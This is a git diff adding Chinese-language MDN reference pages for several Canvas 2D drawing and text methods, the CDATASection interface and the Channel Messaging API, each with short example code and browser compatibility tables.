+ +

strokeRect()方法绘制一个描边矩形,其起点为(x, y) ,其大小由宽度和高度指定。

+ +

参数

+ +
+
x
+
矩形起点的 x 轴坐标。
+
y
+
矩形起点的 y 轴坐标。
+
width
+
矩形的宽度。正值在右侧,负值在左侧。
+
height
+
矩形的高度。正值在下,负值在上。
+
+ +

示例

+ +

一个简单的填充矩形

+ +

这是一段使用 strokeRect 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

矩形的左上角是(20,10)。它的宽度为160,高度为100。

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.strokeStyle = 'green';
+ctx.strokeRect(20, 10, 160, 100);
+ +

结果

+ +

{{ EmbedLiveSample('一个简单的填充矩形', 700, 180) }}

+ +

应用多种上下文设置

+ +

此示例绘制一个带有阴影和粗斜面轮廓的矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.shadowColor = '#d53';
+ctx.shadowBlur = 20;
+ctx.lineJoin = 'bevel';
+ctx.lineWidth = 15;
+ctx.strokeStyle = '#38f';
+ctx.strokeRect(30, 30, 160, 90);
+ +

结果

+ +

{{ EmbedLiveSample('应用多种上下文设置', 700, 180) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.strokeRect")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/strokestyle/index.html new file mode 100644 index 0000000000..f14889bf68 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/strokestyle/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.strokeStyle +slug: Web/API/CanvasRenderingContext2D/strokeStyle +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/strokeStyle +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.strokeStyle 是 Canvas 2D API 描述画笔(绘制图形)颜色或者样式的属性。默认值是 #000 (black)。

+ +

参见 Canvas Tutorial 中的 Applying styles and color 章节。

+ +

语法

+ +
ctx.strokeStyle = color;
+ctx.strokeStyle = gradient;
+ctx.strokeStyle = pattern;
+
+ +

选项

+ +
+
color
+
{{domxref("DOMString")}} 字符串,可以转换成 CSS {{cssxref("<color>")}} 值。
+
gradient
+
{{domxref("CanvasGradient")}} 对象(线性渐变或放射性渐变)。
+
pattern
+
{{domxref("CanvasPattern")}} 对象(可重复的图片)。
+
+ +

示例

+ +

使用 strokeStyle 属性设置不同的颜色

+ +

这是一段简单的代码片段,使用 strokeStyle 属性设置不同的颜色。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

strokeStyle 例子

+ +

这个例子使用 strokeStyle 属性改变图形轮廓线的颜色。我们使用 {{domxref("CanvasRenderingContext2D.arc", "arc()")}} 绘制圆形来代替正方形。

+ +
var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i<6;i++){
+  for (var j=0;j<6;j++){
+    ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                      Math.floor(255-42.5*j) + ')';
+    ctx.beginPath();
+    ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+    ctx.stroke();
+  }
+}
+
+ + + +

结果如下显示:

+ +

{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.strokeStyle")}}

+ +
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/stroketext/index.html new file mode 100644 index 0000000000..404998a247 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/stroketext/index.html @@ -0,0 +1,170 @@ +--- +title: CanvasRenderingContext2D.strokeText() +slug: Web/API/CanvasRenderingContext2D/strokeText +translation_of: Web/API/CanvasRenderingContext2D/strokeText +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.strokeText() 是 Canvas 2D API 在给定的 (x, y) 位置绘制文本的方法。如果提供了表示最大值的第四个参数,文本将会缩放适应宽度。

+ +

参见 {{domxref("CanvasRenderingContext2D.fillText()")}} 方法填充文本。

+ +

语法

+ +
void ctx.strokeText(text, x, y [, maxWidth]);
+
+ +

参数

+ +
+
text
+
使用当前 {{domxref("CanvasRenderingContext2D.font","font")}},{{domxref("CanvasRenderingContext2D.textAlign","textAlign")}},{{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}}和{{domxref("CanvasRenderingContext2D.direction","direction")}} 的值对文本进行渲染。
+
+ +
+
x
+
文本起始点的 x 轴坐标。
+
y
+
文本起始点的 y 轴坐标。
+
maxWidth {{optional_inline}}
+
需要绘制的最大宽度。如果指定了值,并且经过计算字符串的宽度比最大宽度还要宽,字体为了适应会使用一个水平缩小的字体(如果通过水平缩放当前的字体,可以进行有效的或者合理可读的处理)或者小号的字体。
+
+ +

示例

+ +

使用 strokeText 方法

+ +

这是一个使用 strokeText 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatIE(9) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/textalign/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/textalign/index.html new file mode 100644 index 0000000000..bfeb7c5a73 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/textalign/index.html @@ -0,0 +1,180 @@ +--- +title: CanvasRenderingContext2D.textAlign +slug: Web/API/CanvasRenderingContext2D/textAlign +translation_of: Web/API/CanvasRenderingContext2D/textAlign +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.textAlign 是 Canvas 2D API 描述绘制文本时,文本的对齐方式的属性。注意,该对齐是基于CanvasRenderingContext2D.fillText方法的x的值。所以如果textAlign="center",那么该文本将画在 x-50%*width。

+ +
+

译者注:这里的textAlign="center"比较特殊。textAlign的值为center时候文本的居中是基于你在fillText的时候所给的x的值,也就是说文本一半在x的左边,一半在x的右边(可以理解为计算x的位置时从默认文字的左端,改为文字的中心,因此你只需要考虑x的位置即可)。所以,如果你想让文本在整个canvas居中,就需要将fillText的x值设置成canvas的宽度的一半。

+
+ +

语法

+ +
ctx.textAlign = "left" || "right" || "center" || "start" || "end";
+
+ +

选项

+ +

有效值:

+ +
+
left
+
文本左对齐。
+
right
+
文本右对齐。
+
center
+
文本居中对齐。
+
start
+
文本对齐界线开始的地方 (左对齐指本地从左向右,右对齐指本地从右向左)。
+
end
+
文本对齐界线结束的地方 (左对齐指本地从左向右,右对齐指本地从右向左)。
+
+ +

默认值是 start。

+ +
+

译者注:direction属性会对此属性产生影响。如果direction属性设置为ltr,则left和start的效果相同,right和end的效果相同;如果direction属性设置为rtl,则left和end的效果相同,right和start的效果相同。

+
+ +

示例

+ +

使用 textAlign 属性

+ +

这是一段简单的代码片段,使用 textAlign 属性设置文本的不同对齐方式。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.textAlign = "left";
+ctx.strokeText("Hello world", 0, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatIE(9) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/textbaseline/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/textbaseline/index.html new file mode 100644 index 0000000000..d5b7f3a5c6 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/textbaseline/index.html @@ -0,0 +1,130 @@ +--- +title: CanvasRenderingContext2D.textBaseline +slug: Web/API/CanvasRenderingContext2D/textBaseline +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/textBaseline +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.textBaseline 是 Canvas 2D API 描述绘制文本时,当前文本基线的属性。

+ +
+

译者注:决定文字垂直方向的对齐方式。

+
+ +

语法

+ +
ctx.textBaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom";
+
+ +

选项

+ +

有效值:

+ +
+
top
+
文本基线在文本块的顶部。
+
hanging
+
文本基线是悬挂基线。
+
middle
+
文本基线在文本块的中间。
+
alphabetic
+
文本基线是标准的字母基线。
+
ideographic
+
文字基线是表意字基线;如果字符本身超出了alphabetic 基线,那么ideograhpic基线位置在字符本身的底部。
+
bottom
+
文本基线在文本块的底部。 与 ideographic 基线的区别在于 ideographic 基线不需要考虑下行字母。
+
+ +

默认值是 alphabetic。

+ +

示例

+ +

使用 textBaseline 属性

+ +

这是一段简单的代码片段,使用 textBaseline 属性设置不同的文本基线。

+ +

HTML

+ +
<canvas id="canvas" width="550" height="500"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
+ctx.font = '36px serif';
+ctx.strokeStyle = 'red';
+
+baselines.forEach(function (baseline, index) {
+  ctx.textBaseline = baseline;
+  let y = 75 + index * 75;
+  ctx.beginPath();
+  ctx.moveTo(0, y + 0.5);
+  ctx.lineTo(550, y + 0.5);
+  ctx.stroke();
+  ctx.fillText('Abcdefghijklmnop (' + baseline + ')', 0, y);
+});
+ + + + + +

结果

+ +

{{ EmbedLiveSample('Playable_code', 700, 550) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.textBaseline")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/transform/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/transform/index.html new file mode 100644 index 0000000000..f56c5a48ff --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/transform/index.html @@ -0,0 +1,176 @@ +--- +title: CanvasRenderingContext2D.transform() +slug: Web/API/CanvasRenderingContext2D/transform +translation_of: Web/API/CanvasRenderingContext2D/transform +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.transform() 是 Canvas 2D API 使用矩阵多次叠加当前变换的方法,矩阵由方法的参数进行描述。你可以缩放、旋转、移动和倾斜上下文。

+ +

参见 {{domxref("CanvasRenderingContext2D.setTransform()", "setTransform()")}} 方法,这个方法使用单位矩阵重新设置当前的变换并且会调用 transform()。

+ +

语法

+ +
void ctx.transform(a, b, c, d, e, f);
+
+ +

变换矩阵的描述: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]

+ +

参数

+ +
+
a (m11)
+
水平缩放。
+
b (m12)
+
垂直倾斜。
+
c (m21)
+
水平倾斜。
+
d (m22)
+
垂直缩放。
+
e (dx)
+
水平移动。
+
f (dy)
+
垂直移动。
+
+ +

示例

+ +

使用 transform 方法

+ +

这是一段使用 transform 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.transform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.transform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);
+ctx.setTransform();
+</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  ctx.setTransform(1, 0, 0, 1, 0, 0);
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-transform", "CanvasRenderingContext2D.transform")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/translate/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/translate/index.html new file mode 100644 index 0000000000..f4dd697342 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/translate/index.html @@ -0,0 +1,168 @@ +--- +title: CanvasRenderingContext2D.translate() +slug: Web/API/CanvasRenderingContext2D/translate +translation_of: Web/API/CanvasRenderingContext2D/translate +--- +
{{APIRef}}
+ +

Canvas 2D API的CanvasRenderingContext2D.translate() 方法对当前网格添加平移变换的方法。

+ +

语法

+ +
void ctx.translate(x, y);
+
+ +

translate() 方法, 将 canvas 按原始 x点的水平方向、原始的 y点垂直方向进行平移变换

+ +

+ +

参数

+ +
+
x
+
水平方向的移动距离。
+
y
+
垂直方向的移动距离。
+
+ +

示例

+ +

使用 translate 方法

+ +

这是一段使用 translate 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.translate(50, 50);
+ctx.fillRect(0,0,100,100);
+
+// reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.translate(50, 50);
+ctx.fillRect(0,0,100,100);
+ctx.setTransform(1, 0, 0, 1, 0, 0);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-translate", "CanvasRenderingContext2D.translate")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/cdatasection/index.html b/files/zh-cn/web/api/cdatasection/index.html new file mode 100644 index 0000000000..83040b1f88 --- /dev/null +++ b/files/zh-cn/web/api/cdatasection/index.html @@ -0,0 +1,85 @@ +--- +title: CDATASection +slug: Web/API/CDATASection +tags: + - API + - DOM + - 参考 + - 接口 +translation_of: Web/API/CDATASection +--- +
{{APIRef("DOM")}}
+ +

CDATASection 接口用于表示 CDATA 片段(CDATA section)。在 XML 中, CDATA 可以直接包含未经转义的文本。比如 <&,只要位于 CDATA 片段中,它们就不需要被转义,保持原样就可以了。

+ +

在 XML 中,一个 CDATA 片段格式如下:

+ +
<![CDATA[  ... ]]>
+
+ +

例如:

+ +
<foo>这是一个CDATA section: <![CDATA[  < > & ]]> 其中包含了一些没有转义的字符。 </foo>
+
+ +

唯一的例外就是,在一个 CDATA 片段中不可以使用  CDATA 片段本身的闭合标签片段:

+ +
<![CDATA[  ]]> 会引发错误   ]]>
+
+ +

注意,CDATA 片段不应该在 HTML 中被使用;它只在 XML 中有效。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

这个接口没有特有的属性,但实现了父接口 {{domxref("Text")}} 的属性。

+ +

方法

+ +

这个接口没有特有的方法,但实现了父接口 {{domxref("Text")}} 的方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#interface-cdatasection", "CDATASection")}}{{Spec2("DOM WHATWG")}}Re-added in issue #295 due to web breakage
{{SpecName("DOM4", "#cdatasection", "CDATASection")}}{{Spec2("DOM4")}}Removed in favour of the more generic {{DOMxRef("Text")}} interface
{{SpecName("DOM3 Core", "core.html#ID-667469212", "CDATASection")}}{{Spec2("DOM3 Core")}}No change from {{SpecName("DOM2 Core")}}
{{SpecName("DOM2 Core", "core.html#ID-667469212", "CDATASection")}}{{Spec2("DOM2 Core")}}No change from {{SpecName("DOM1")}}.
{{SpecName("DOM1", "level-one-core.html#ID-667469212", "CDATASection")}}{{Spec2("DOM1")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CDATASection")}}

diff --git a/files/zh-cn/web/api/channel_messaging_api/index.html b/files/zh-cn/web/api/channel_messaging_api/index.html new file mode 100644 index 0000000000..6e7591d531 --- /dev/null +++ b/files/zh-cn/web/api/channel_messaging_api/index.html @@ -0,0 +1,89 @@ +--- +title: Channel Messaging API +slug: Web/API/Channel_Messaging_API +translation_of: Web/API/Channel_Messaging_API +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 允许两个不同的脚本运行在同一个文档的不同浏览器上下文(比如两个 iframe,或者文档主体和一个 iframe,使用 {{domxref("SharedWorker")}} 的两个文档,或者两个 worker)来直接通讯,在每端使用一个端口(port)通过双向频道(channel)向彼此传递消息。

+ +

{{AvailableInWorkers}}

+ +

Channel 通信的概念和用法

+ +

使用 {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} 构造函数来创建通讯信道。一旦创建,信道的两个端口即可通过 {{domxref("MessageChannel.port1")}} 和 {{domxref("MessageChannel.port2")}} 属性进行访问(都会返回 {{domxref("MessagePort")}}  对象)。创建信道的应用程序使用 port1,在另一端的程序使用 port2 —— 你向 port2 发送信息,然后携带 2 个参数(需要传递的消息,要传递所有权的对象,在这里是 port 自身)调用 {{domxref("window.postMessage")}} 方法将端口信息传递到另一个浏览器上下文。

+ +

当这些可传递的对象被传递后,他们就从之前所属的上下文中消失了。比如一个 port,一旦被发送,在原本的上下文中就再也不可用了。注意当前仅有 {{domxref("ArrayBuffer")}} 和 {{domxref("MessagePort")}} 对象可以被发送。

+ +

另一个浏览器上下文可以使用 {{domxref("MessagePort.onmessage")}} 监听信息,并使用事件的 data 属性获取消息内容。你可以通过 {{domxref("MessagePort.postMessage")}} 向原来的文档发送应答消息。

+ +

当你想要停止通过信道发送消息时,你可以调用来关闭 {{domxref("MessagePort.close")}} 端口。

+ +

更多使用这个 API 的资料参见:Using channel messaging 。

+ +

Channel 通信接口

+ +
+
{{domxref("MessageChannel")}}
+
创建一个新的发送消息的信道。
+
{{domxref("MessagePort")}}
+
控制消息信道的端口,允许从一个端口发送消息,并监听另一端消息的到来。
+
{{domxref("PortCollection")}}
+
MessagePort 数组,一种同时向多个端口广播消息的实验性解决方案。
+
+ +

例子

+ + + +

规格

+ + + + + + + + + + + + + + +
规格状态补充
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

参考

+ + + +

+ +

diff --git "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" "b/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" new file mode 100644 index 0000000000..8ddfa8df8e --- /dev/null +++ "b/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" @@ -0,0 +1,179 @@ +--- +title: 使用 channel messaging +slug: Web/API/Channel_Messaging_API/使用_channel_messaging +tags: + - API + - Channel messaging + - HTML5 + - MessageChannel + - MessagePort + - 指南 +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

+ +

在文本中,我们将探索这项技术的基本用法。

+ +

{{AvailableInWorkers}}

+ +

用例

+ +

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

+ +

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

+ +
+

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

+
+ +

简单的例子

+ +

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

+ +

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

+ +

本文中,我们重点说后面的这个例子。它看起来像是这样:

+ +

+ +

创建 channel

+ +

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

+ +
var input = document.getElementById('message-input');
+var output = document.getElementById('message-output');
+var button = document.querySelector('button');
+var iframe = document.querySelector('iframe');
+
+var channel = new MessageChannel();
+var port1 = channel.port1;
+
+// 等待 iframe 加载
+iframe.addEventListener("load", onLoad);
+
+function onLoad() {
+  // 监听按钮点击
+  button.addEventListener('click', onClick);
+
+  // 在 port1 监听消息
+  port1.onmessage = onMessage;
+
+  // 把 port2 传给 iframe
+  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
+}
+
+// 当按钮点击时,在 port1 上发送一个消息
+function onClick(e) {
+  e.preventDefault();
+  port1.postMessage(input.value);
+}
+
+// 处理 port1 收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

+ +

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

+ +

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

+ +
    +
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. +
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. +
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. +
+ +

